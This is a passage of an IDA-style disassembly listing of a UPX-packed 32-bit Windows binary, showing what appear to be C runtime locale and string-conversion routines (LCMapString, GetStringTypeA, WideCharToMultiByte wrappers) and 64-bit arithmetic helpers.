		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jz	short loc_40A381
		mov	[ebp+arg_4], esi


loc_40A3A8:				; CODE XREF: sub_40A226+162j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	[ebp+arg_14]
		call	dword_40C108	; GetStringTypeA
		cmp	esi, ebx
		mov	edi, eax
		jz	short loc_40A3CA
		push	esi
		call	sub_404F20
		pop	ecx


loc_40A3CA:				; CODE XREF: sub_40A226+19Bj
		mov	eax, edi


loc_40A3CC:				; CODE XREF: sub_40A226+12Fj
					; sub_40A226+15Dj
		lea	esp, [ebp-14h]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		call	sub_40224A
		leave
		retn
sub_40A226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A3DE	proc near		; CODE XREF: sub_407D8D+96p
					; sub_40AB95+83p

var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_10]
		call	sub_407FBB
		push	[ebp+arg_1C]
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40A226
		add	esp, 1Ch
		cmp	[ebp+var_4], 0
		jz	short locret_40A41C
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_40A41C:				; CODE XREF: sub_40A3DE+35j
		leave
		retn
sub_40A3DE	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+0Ch]
		lea	ecx, [ecx+0]


loc_40A434:				; CODE XREF: UPX0:0040A441j
		mov	al, [edx]
		or	al, al
		jz	short loc_40A443
		add	edx, 1
		bts	[esp], eax
		jmp	short loc_40A434
; ---------------------------------------------------------------------------


loc_40A443:				; CODE XREF: UPX0:0040A438j
		mov	esi, [ebp+8]
		mov	edi, edi


loc_40A448:				; CODE XREF: UPX0:0040A455j
		mov	al, [esi]
		or	al, al
		jz	short loc_40A45A
		add	esi, 1
		bt	[esp], eax
		jnb	short loc_40A448
		lea	eax, [esi-1]


loc_40A45A:				; CODE XREF: UPX0:0040A44Cj
		add	esp, 20h
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A460	proc near		; CODE XREF: sub_40A802+2Cp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, ds:dword_40F060
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		push	esi
		xor	ebx, ebx
		cmp	ds:dword_4107F8, ebx
		push	edi
		mov	esi, ecx
		jnz	short loc_40A4B7
		push	ebx
		push	ebx
		xor	edi, edi
		inc	edi
		push	edi
		push	offset dword_40D9FC
		push	100h
		push	ebx
		call	dword_40C118	; LCMapStringW
		test	eax, eax
		jz	short loc_40A4A2
		mov	ds:dword_4107F8, edi
		jmp	short loc_40A4B7
; ---------------------------------------------------------------------------


loc_40A4A2:				; CODE XREF: sub_40A460+38j
		call	dword_40C088	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_40A4B7
		mov	ds:dword_4107F8, 2


loc_40A4B7:				; CODE XREF: sub_40A460+1Dj
					; sub_40A460+40j ...
		cmp	[ebp+arg_C], ebx
		jle	short loc_40A4DE
		mov	ecx, [ebp+arg_C]
		mov	eax, [ebp+arg_8]


loc_40A4C2:				; CODE XREF: sub_40A460+6Aj
		dec	ecx
		cmp	[eax], bl
		jz	short loc_40A4CF
		inc	eax
		cmp	ecx, ebx
		jnz	short loc_40A4C2
		or	ecx, 0FFFFFFFFh


loc_40A4CF:				; CODE XREF: sub_40A460+65j
		mov	eax, [ebp+arg_C]
		sub	eax, ecx
		dec	eax
		cmp	eax, [ebp+arg_C]
		jge	short loc_40A4DB
		inc	eax


loc_40A4DB:				; CODE XREF: sub_40A460+78j
		mov	[ebp+arg_C], eax


loc_40A4DE:				; CODE XREF: sub_40A460+5Aj
		mov	eax, ds:dword_4107F8
		cmp	eax, 2
		jz	loc_40A697
		cmp	eax, ebx
		jz	loc_40A697
		cmp	eax, 1
		jnz	loc_40A6C8
		cmp	[ebp+arg_18], ebx
		mov	[ebp+var_8], ebx
		jnz	short loc_40A50D
		mov	eax, [esi]
		mov	eax, [eax+4]
		mov	[ebp+arg_18], eax


loc_40A50D:				; CODE XREF: sub_40A460+A3j
		mov	esi, dword_40C10C
		xor	eax, eax
		cmp	[ebp+arg_1C], ebx
		push	ebx
		push	ebx
		push	[ebp+arg_C]
		setnz	al
		push	[ebp+arg_8]
		lea	eax, ds:1[eax*8]
		push	eax
		push	[ebp+arg_18]
		call	esi ; dword_40C10C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A6C8
		jle	short loc_40A57F
		push	0FFFFFFE0h
		xor	edx, edx
		pop	eax
		div	edi
		cmp	eax, 2
		jb	short loc_40A57F
		lea	eax, [edi+edi+8]
		cmp	eax, 400h
		ja	short loc_40A566
		call	sub_40A970
		mov	eax, esp
		cmp	eax, ebx
		jz	short loc_40A57A
		mov	dword ptr [eax], 0CCCCh
		jmp	short loc_40A577
; ---------------------------------------------------------------------------


loc_40A566:				; CODE XREF: sub_40A460+F1j
		push	eax
		call	sub_404E31
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40A57A
		mov	dword ptr [eax], 0DDDDh


loc_40A577:				; CODE XREF: sub_40A460+104j
		add	eax, 8


loc_40A57A:				; CODE XREF: sub_40A460+FCj
					; sub_40A460+10Fj
		mov	[ebp+var_C], eax
		jmp	short loc_40A582
; ---------------------------------------------------------------------------


loc_40A57F:				; CODE XREF: sub_40A460+DAj
					; sub_40A460+E6j
		mov	[ebp+var_C], ebx


loc_40A582:				; CODE XREF: sub_40A460+11Dj
		cmp	[ebp+var_C], ebx
		jz	loc_40A6C8
		push	edi
		push	[ebp+var_C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	esi ; dword_40C10C
		test	eax, eax
		jz	loc_40A686
		mov	esi, dword_40C118
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	esi ; dword_40C118
		mov	ecx, eax
		cmp	ecx, ebx
		mov	[ebp+var_8], ecx
		jz	loc_40A686
		test	word ptr [ebp+arg_4], 400h
		jz	short loc_40A5F6
		cmp	[ebp+arg_14], ebx
		jz	loc_40A686
		cmp	ecx, [ebp+arg_14]
		jg	loc_40A686
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	edi
		push	[ebp+var_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	esi ; dword_40C118
		jmp	loc_40A686
; ---------------------------------------------------------------------------


loc_40A5F6:				; CODE XREF: sub_40A460+16Bj
		cmp	ecx, ebx
		jle	short loc_40A63F
		push	0FFFFFFE0h
		xor	edx, edx
		pop	eax
		div	ecx
		cmp	eax, 2
		jb	short loc_40A63F
		lea	eax, [ecx+ecx+8]
		cmp	eax, 400h
		ja	short loc_40A627
		call	sub_40A970
		mov	esi, esp
		cmp	esi, ebx
		jz	short loc_40A686
		mov	dword ptr [esi], 0CCCCh
		add	esi, 8
		jmp	short loc_40A641
; ---------------------------------------------------------------------------


loc_40A627:				; CODE XREF: sub_40A460+1AFj
		push	eax
		call	sub_404E31
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40A63B
		mov	dword ptr [eax], 0DDDDh
		add	eax, 8


loc_40A63B:				; CODE XREF: sub_40A460+1D0j
		mov	esi, eax
		jmp	short loc_40A641
; ---------------------------------------------------------------------------


loc_40A63F:				; CODE XREF: sub_40A460+198j
					; sub_40A460+1A4j
		xor	esi, esi


loc_40A641:				; CODE XREF: sub_40A460+1C5j
					; sub_40A460+1DDj
		cmp	esi, ebx
		jz	short loc_40A686
		push	[ebp+var_8]
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_40C118	; LCMapStringW
		test	eax, eax
		jz	short loc_40A67F
		cmp	[ebp+arg_14], ebx
		push	ebx
		push	ebx
		jnz	short loc_40A668
		push	ebx
		push	ebx
		jmp	short loc_40A66E
; ---------------------------------------------------------------------------


loc_40A668:				; CODE XREF: sub_40A460+202j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_40A66E:				; CODE XREF: sub_40A460+206j
		push	[ebp+var_8]
		push	esi
		push	ebx
		push	[ebp+arg_18]
		call	dword_40C0AC	; WideCharToMultiByte
		mov	[ebp+var_8], eax


loc_40A67F:				; CODE XREF: sub_40A460+1FBj
		push	esi
		call	sub_40A1C4
		pop	ecx


loc_40A686:				; CODE XREF: sub_40A460+13Ej
					; sub_40A460+15Fj ...
		push	[ebp+var_C]
		call	sub_40A1C4
		mov	eax, [ebp+var_8]
		pop	ecx
		jmp	loc_40A7F0
; ---------------------------------------------------------------------------


loc_40A697:				; CODE XREF: sub_40A460+86j
					; sub_40A460+8Ej
		cmp	[ebp+arg_0], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ebx
		jnz	short loc_40A6AA
		mov	eax, [esi]
		mov	eax, [eax+14h]
		mov	[ebp+arg_0], eax


loc_40A6AA:				; CODE XREF: sub_40A460+240j
		cmp	[ebp+arg_18], ebx
		jnz	short loc_40A6B7
		mov	eax, [esi]
		mov	eax, [eax+4]
		mov	[ebp+arg_18], eax


loc_40A6B7:				; CODE XREF: sub_40A460+24Dj
		push	[ebp+arg_0]
		call	sub_40A99C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jnz	short loc_40A6CF


loc_40A6C8:				; CODE XREF: sub_40A460+97j
					; sub_40A460+D4j ...
		xor	eax, eax
		jmp	loc_40A7F0
; ---------------------------------------------------------------------------


loc_40A6CF:				; CODE XREF: sub_40A460+266j
		cmp	eax, [ebp+arg_18]
		jz	loc_40A7B3
		push	ebx
		push	ebx
		lea	ecx, [ebp+arg_C]
		push	ecx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_18]
		call	sub_40A9E3
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_C], eax
		jz	short loc_40A6C8
		mov	esi, dword_40C114
		push	ebx
		push	ebx
		push	[ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	esi ; dword_40C114
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jnz	short loc_40A716


loc_40A70F:				; CODE XREF: sub_40A460+2D0j
					; sub_40A460+2F9j
		xor	esi, esi
		jmp	loc_40A7CD
; ---------------------------------------------------------------------------


loc_40A716:				; CODE XREF: sub_40A460+2ADj
		jle	short loc_40A755
		cmp	eax, 0FFFFFFE0h
		ja	short loc_40A755
		add	eax, 8
		cmp	eax, 400h
		ja	short loc_40A73D
		call	sub_40A970
		mov	edi, esp
		cmp	edi, ebx
		jz	short loc_40A70F
		mov	dword ptr [edi], 0CCCCh
		add	edi, 8
		jmp	short loc_40A757
; ---------------------------------------------------------------------------


loc_40A73D:				; CODE XREF: sub_40A460+2C5j
		push	eax
		call	sub_404E31
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40A751
		mov	dword ptr [eax], 0DDDDh
		add	eax, 8


loc_40A751:				; CODE XREF: sub_40A460+2E6j
		mov	edi, eax
		jmp	short loc_40A757
; ---------------------------------------------------------------------------


loc_40A755:				; CODE XREF: sub_40A460:loc_40A716j
					; sub_40A460+2BBj
		xor	edi, edi


loc_40A757:				; CODE XREF: sub_40A460+2DBj
					; sub_40A460+2F3j
		cmp	edi, ebx
		jz	short loc_40A70F
		push	[ebp+var_8]
		push	ebx
		push	edi
		call	sub_4021D0
		add	esp, 0Ch
		push	[ebp+var_8]
		push	edi
		push	[ebp+arg_C]
		push	[ebp+var_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	esi ; dword_40C114
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jnz	short loc_40A785
		xor	esi, esi
		jmp	short loc_40A7AA
; ---------------------------------------------------------------------------


loc_40A785:				; CODE XREF: sub_40A460+31Fj
		push	[ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	[ebp+arg_10]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+var_14]
		call	sub_40A9E3
		mov	esi, eax
		mov	[ebp+var_10], esi
		add	esp, 18h
		neg	esi
		sbb	esi, esi
		and	esi, [ebp+var_8]


loc_40A7AA:				; CODE XREF: sub_40A460+323j
		push	edi
		call	sub_40A1C4
		pop	ecx
		jmp	short loc_40A7CD
; ---------------------------------------------------------------------------


loc_40A7B3:				; CODE XREF: sub_40A460+272j
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_40C114	; LCMapStringA
		mov	esi, eax


loc_40A7CD:				; CODE XREF: sub_40A460+2B1j
					; sub_40A460+351j
		cmp	[ebp+var_C], ebx
		jz	short loc_40A7DB
		push	[ebp+var_C]
		call	sub_404F20
		pop	ecx


loc_40A7DB:				; CODE XREF: sub_40A460+370j
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		jz	short loc_40A7EE
		cmp	[ebp+arg_10], eax
		jz	short loc_40A7EE
		push	eax
		call	sub_404F20
		pop	ecx


loc_40A7EE:				; CODE XREF: sub_40A460+380j
					; sub_40A460+385j
		mov	eax, esi


loc_40A7F0:				; CODE XREF: sub_40A460+232j
					; sub_40A460+26Aj
		lea	esp, [ebp-20h]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		call	sub_40224A
		leave
		retn
sub_40A460	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A802	proc near		; CODE XREF: sub_407D8D+B6p
					; sub_407D8D+DBp

var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_10]
		call	sub_407FBB
		push	[ebp+arg_20]
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40A460
		add	esp, 20h
		cmp	[ebp+var_4], 0
		jz	short locret_40A843
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_40A843:				; CODE XREF: sub_40A802+38j
		leave
		retn
sub_40A802	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A845	proc near		; DATA XREF: UPX1:off_40FAD8o
					; UPX1:0040FADCo ...
		push	2
		call	sub_405549
		pop	ecx
		retn
sub_40A845	endp

; ---------------------------------------------------------------------------
		align 10h
		push	esi
		mov	eax, [esp+14h]
		or	eax, eax
		jnz	short loc_40A881
		mov	ecx, [esp+10h]
		mov	eax, [esp+0Ch]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8]
		div	ecx
		mov	esi, eax
		mov	eax, ebx
		mul	dword ptr [esp+10h]
		mov	ecx, eax
		mov	eax, esi
		mul	dword ptr [esp+10h]
		add	edx, ecx
		jmp	short loc_40A8C8
; ---------------------------------------------------------------------------


loc_40A881:				; CODE XREF: UPX0:0040A857j
		mov	ecx, eax
		mov	ebx, [esp+10h]
		mov	edx, [esp+0Ch]
		mov	eax, [esp+8]


loc_40A88F:				; CODE XREF: UPX0:0040A899j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_40A88F
		div	ebx
		mov	esi, eax
		mul	dword ptr [esp+14h]
		mov	ecx, eax
		mov	eax, [esp+10h]
		mul	esi
		add	edx, ecx
		jb	short loc_40A8BD
		cmp	edx, [esp+0Ch]
		ja	short loc_40A8BD
		jb	short loc_40A8C6
		cmp	eax, [esp+8]
		jbe	short loc_40A8C6


loc_40A8BD:				; CODE XREF: UPX0:0040A8ADj
					; UPX0:0040A8B3j
		dec	esi
		sub	eax, [esp+10h]
		sbb	edx, [esp+14h]


loc_40A8C6:				; CODE XREF: UPX0:0040A8B5j
					; UPX0:0040A8BBj
		xor	ebx, ebx


loc_40A8C8:				; CODE XREF: UPX0:0040A87Fj
		sub	eax, [esp+8]
		sbb	edx, [esp+0Ch]
		neg	edx
		neg	eax
		sbb	edx, 0
		mov	ecx, edx
		mov	edx, ebx
		mov	ebx, ecx
		mov	ecx, eax
		mov	eax, esi
		pop	esi
		retn	10h
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+8]
		mov	ecx, [esp+10h]
		or	ecx, eax
		mov	ecx, [esp+0Ch]
		jnz	short loc_40A909
		mov	eax, [esp+4]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_40A909:				; CODE XREF: UPX0:0040A8FEj
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+8]
		mul	dword ptr [esp+14h]
		add	ebx, eax
		mov	eax, [esp+8]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h

; =============== S U B	R O U T	I N E =======================================



sub_40A924	proc near		; CODE XREF: sub_40A99C+35p

arg_0		= dword	ptr  4

		push	0Ah
		push	0
		push	[esp+8+arg_0]
		call	sub_40AE76
		add	esp, 0Ch
		retn
sub_40A924	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A935	proc near		; CODE XREF: sub_40AB95+42p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_10]
		call	sub_407FBB
		movzx	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_10]
		mov	ecx, [ecx+0C8h]
		movzx	eax, word ptr [ecx+eax*2]
		and	eax, 8000h
		cmp	[ebp+var_4], 0
		jz	short locret_40A969
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_40A969:				; CODE XREF: sub_40A935+2Bj
		leave
		retn
sub_40A935	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40A970	proc near		; CODE XREF: sub_40A226+C5p
					; sub_40A460+F3p ...

arg_0		= byte ptr  4

; FUNCTION CHUNK AT 0040AEA0 SIZE 0000002B BYTES

		push	ecx
		lea	ecx, [esp+4+arg_0]
		sub	ecx, eax
		and	ecx, 0Fh
		add	eax, ecx
		sbb	ecx, ecx
		or	eax, ecx
		pop	ecx
		jmp	loc_40AEA0
sub_40A970	endp

; ---------------------------------------------------------------------------
		push	ecx
		lea	ecx, [esp+8]
		sub	ecx, eax
		and	ecx, 7
		add	eax, ecx
		sbb	ecx, ecx
		or	eax, ecx
		pop	ecx
		jmp	loc_40AEA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A99C	proc near		; CODE XREF: sub_40A226+150p
					; sub_40A460+25Ap

var_C		= byte ptr -0Ch
var_6		= byte ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, ds:dword_40F060
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	6
		lea	eax, [ebp+var_C]
		push	eax
		push	1004h
		push	[ebp+arg_0]
		mov	[ebp+var_6], 0
		call	dword_40C104	; GetLocaleInfoA
		test	eax, eax
		jnz	short loc_40A9CD
		or	eax, 0FFFFFFFFh
		jmp	short loc_40A9D7
; ---------------------------------------------------------------------------


loc_40A9CD:				; CODE XREF: sub_40A99C+2Aj
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_40A924
		pop	ecx


loc_40A9D7:				; CODE XREF: sub_40A99C+2Fj
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		call	sub_40224A
		leave
		retn
sub_40A99C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A9E3	proc near		; CODE XREF: sub_40A226+171p
					; sub_40A460+285p ...

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		mov	eax, ds:dword_40F060
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_10]
		mov	[ebp+var_28], eax
		mov	eax, [ebp+arg_C]
		push	ebx
		mov	[ebp+var_30], eax
		mov	eax, [eax]
		push	esi
		mov	[ebp+var_24], eax
		mov	eax, [ebp+arg_0]
		push	edi
		xor	edi, edi
		cmp	eax, [ebp+arg_4]
		mov	[ebp+var_34], ecx
		mov	[ebp+var_20], edi
		mov	[ebp+var_2C], edi
		jz	loc_40AB80
		mov	esi, dword_40C0E4
		lea	ecx, [ebp+var_18]
		push	ecx
		push	eax
		call	esi ; dword_40C0E4
		test	eax, eax
		mov	ebx, dword_40C10C
		jz	short loc_40AA96
		cmp	[ebp+var_18], 1
		jnz	short loc_40AA96
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_4]
		call	esi ; dword_40C0E4
		test	eax, eax
		jz	short loc_40AA96
		cmp	[ebp+var_18], 1
		jnz	short loc_40AA96
		mov	esi, [ebp+var_24]
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+var_2C], 1
		jnz	short loc_40AA6C
		push	[ebp+var_28]
		call	sub_4026A0
		mov	esi, eax
		pop	ecx
		inc	esi


loc_40AA6C:				; CODE XREF: sub_40A9E3+7Bj
		cmp	esi, edi


loc_40AA6E:				; CODE XREF: sub_40A9E3+C6j
		jle	short loc_40AACB
		cmp	esi, 7FFFFFF0h
		ja	short loc_40AACB
		lea	eax, [esi+esi+8]
		cmp	eax, 400h
		ja	short loc_40AAB2
		call	sub_40A970
		mov	eax, esp
		cmp	eax, edi
		jz	short loc_40AAC6
		mov	dword ptr [eax], 0CCCCh
		jmp	short loc_40AAC3
; ---------------------------------------------------------------------------


loc_40AA96:				; CODE XREF: sub_40A9E3+53j
					; sub_40A9E3+59j ...
		push	edi
		push	edi
		push	[ebp+var_24]
		push	[ebp+var_28]
		push	1
		push	[ebp+arg_0]
		call	ebx ; dword_40C10C
		mov	esi, eax
		cmp	esi, edi
		jnz	short loc_40AA6E


loc_40AAAB:				; CODE XREF: sub_40A9E3+EEj
		xor	eax, eax
		jmp	loc_40AB83
; ---------------------------------------------------------------------------


loc_40AAB2:				; CODE XREF: sub_40A9E3+9Ej
		push	eax
		call	sub_404E31
		cmp	eax, edi
		pop	ecx
		jz	short loc_40AAC6
		mov	dword ptr [eax], 0DDDDh


loc_40AAC3:				; CODE XREF: sub_40A9E3+B1j
		add	eax, 8


loc_40AAC6:				; CODE XREF: sub_40A9E3+A9j
					; sub_40A9E3+D8j
		mov	[ebp+var_1C], eax
		jmp	short loc_40AACE
; ---------------------------------------------------------------------------


loc_40AACB:				; CODE XREF: sub_40A9E3:loc_40AA6Ej
					; sub_40A9E3+93j
		mov	[ebp+var_1C], edi


loc_40AACE:				; CODE XREF: sub_40A9E3+E6j
		cmp	[ebp+var_1C], edi
		jz	short loc_40AAAB
		lea	eax, [esi+esi]
		push	eax
		push	edi
		push	[ebp+var_1C]
		call	sub_4021D0
		add	esp, 0Ch
		push	esi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+var_28]
		push	1
		push	[ebp+arg_0]
		call	ebx ; dword_40C10C
		test	eax, eax
		jz	short loc_40AB77
		mov	ebx, [ebp+var_34]
		cmp	ebx, edi
		jz	short loc_40AB1C
		push	edi
		push	edi
		push	[ebp+arg_14]
		push	ebx
		push	esi
		push	[ebp+var_1C]
		push	edi
		push	[ebp+arg_4]
		call	dword_40C0AC	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_40AB77
		mov	[ebp+var_20], ebx
		jmp	short loc_40AB77
; ---------------------------------------------------------------------------


loc_40AB1C:				; CODE XREF: sub_40A9E3+11Aj
		cmp	[ebp+var_2C], edi
		mov	ebx, dword_40C0AC
		jnz	short loc_40AB3B
		push	edi
		push	edi
		push	edi
		push	edi
		push	esi
		push	[ebp+var_1C]
		push	edi
		push	[ebp+arg_4]
		call	ebx ; dword_40C0AC
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_40AB77


loc_40AB3B:				; CODE XREF: sub_40A9E3+142j
		push	esi
		push	1
		call	sub_405413
		cmp	eax, edi
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		jz	short loc_40AB77
		push	edi
		push	edi
		push	esi
		push	eax
		push	esi
		push	[ebp+var_1C]
		push	edi
		push	[ebp+arg_4]
		call	ebx ; dword_40C0AC
		cmp	eax, edi
		jnz	short loc_40AB6C
		push	[ebp+var_20]
		call	sub_404F20
		pop	ecx
		mov	[ebp+var_20], edi
		jmp	short loc_40AB77
; ---------------------------------------------------------------------------


loc_40AB6C:				; CODE XREF: sub_40A9E3+179j
		cmp	[ebp+var_24], 0FFFFFFFFh
		jz	short loc_40AB77
		mov	ecx, [ebp+var_30]
		mov	[ecx], eax


loc_40AB77:				; CODE XREF: sub_40A9E3+113j
					; sub_40A9E3+132j ...
		push	[ebp+var_1C]
		call	sub_40A1C4
		pop	ecx


loc_40AB80:				; CODE XREF: sub_40A9E3+38j
		mov	eax, [ebp+var_20]


loc_40AB83:				; CODE XREF: sub_40A9E3+CAj
		lea	esp, [ebp-40h]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		call	sub_40224A
		leave
		retn
sub_40A9E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB95	proc near		; CODE XREF: sub_40AC4B+81p

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		call	sub_407FBB
		mov	ebx, [ebp+arg_0]
		lea	eax, [ebx+1]
		cmp	eax, 100h
		ja	short loc_40ABC3
		mov	eax, [ebp+var_18]
		mov	eax, [eax+0C8h]
		movzx	eax, word ptr [eax+ebx*2]
		jmp	short loc_40AC38
; ---------------------------------------------------------------------------


loc_40ABC3:				; CODE XREF: sub_40AB95+1Dj
		mov	[ebp+arg_0], ebx
		sar	[ebp+arg_0], 8
		lea	eax, [ebp+var_18]
		push	eax
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		push	eax
		call	sub_40A935
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40ABF4
		mov	al, byte ptr [ebp+arg_0]
		push	2
		mov	[ebp+var_8], al
		mov	[ebp+var_7], bl
		mov	[ebp+var_6], 0
		pop	ecx
		jmp	short loc_40ABFE
; ---------------------------------------------------------------------------


loc_40ABF4:				; CODE XREF: sub_40AB95+4Bj
		xor	ecx, ecx
		mov	[ebp+var_8], bl
		mov	[ebp+var_7], 0
		inc	ecx


loc_40ABFE:				; CODE XREF: sub_40AB95+5Dj
		mov	eax, [ebp+var_18]
		push	1
		push	dword ptr [eax+14h]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_4]
		push	eax
		push	ecx
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	1
		push	eax
		call	sub_40A3DE
		add	esp, 20h
		test	eax, eax
		jnz	short loc_40AC34
		cmp	[ebp+var_C], al
		jz	short loc_40AC30
		mov	eax, [ebp+var_10]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_40AC30:				; CODE XREF: sub_40AB95+92j
